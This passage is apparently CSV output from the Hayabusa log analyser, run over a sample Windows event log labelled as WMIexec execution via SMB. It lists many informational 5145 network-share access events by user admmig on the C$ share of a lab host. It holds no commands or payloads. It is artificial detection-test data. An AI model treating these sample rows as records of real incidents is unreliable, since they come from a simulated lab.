10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d29a719#\d0b3dad21720f265098f1e94984349f8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d6979e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d6979e4#\3e37b5062bf0419283b3384af5deb445 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2ded559f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2ded559f#\7d512c9625a371ff23fac5628a0e68f9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W3cdb5602# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W3cdb5602#\6423a4306ce0876f0093a7f421bb7e5a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6c95e797# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6c95e797#\8780975ab811e02b5246582c27ea6cda : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6dcfceb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6dcfceb1#\64783b930c916ed9a5041885582dd1f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W7b7c0837# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W7b7c0837#\fa70f9411efd4c4e624a68d30b61b1b7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e7db7c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e7db7c5#\129a7094f09543b72571da3208c88188 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e8926d3# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e8926d3#\86d7c67af3a964bb8d312cffb20064f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W15cd0137# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W15cd0137#\37435834252683aa469b56ff5b1fa582 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W37d1a032# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W37d1a032#\3000cd8689f492cfebdd90745d8ff4f5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W39c436dd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W39c436dd#\1e419fc634fa508e323ce21b5ed38e24 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W69ef49d2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W69ef49d2#\3904c1c8a3c65252ed404558b48ebbc1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W71daf281# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W71daf281#\4dc6f876453e5e2ebf2a9ee674543449 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.015 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W81a3882f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W81a3882f#\a85f95161dcf12987a79a1b41adbdb9c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W708fc392# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W708fc392#\8f2dcf5025667bf632e62398c422a6da : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W5052cbb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W5052cbb1#\3d4dc36b565611250515cd25ebe64bed : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W57798b05# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W57798b05#\a9ccbdffc3a6a0fca980872c1531aa02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W73044bb5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W73044bb5#\ca9e965c5eab4b76dc40c510a6a4a916 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W193497eb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.050 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W193497eb#\2ebfdca668bed840047e6bcbeec44e53 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W08054466# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W08054466#\728711ada9b68483d998f34ac723c295 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad38fd8b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.064 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad38fd8b#\9158e541821e2b6d43c32648464e77c2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.079 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad78daf4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.079 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wad78daf4#\81b597084cf1f78a1957cf8138744f32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.096 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d030b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d030b7#\fa5c1a0df187c30480b0623065a70395 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d06916# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb2d06916#\d61b7f885a9fd4f4766031b996ca7d6a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.099 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb9b5bb58# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.114 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.114 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wb9b5bb58#\094367b5bb80758c8f0ab02018658d91 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Contacts\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.130 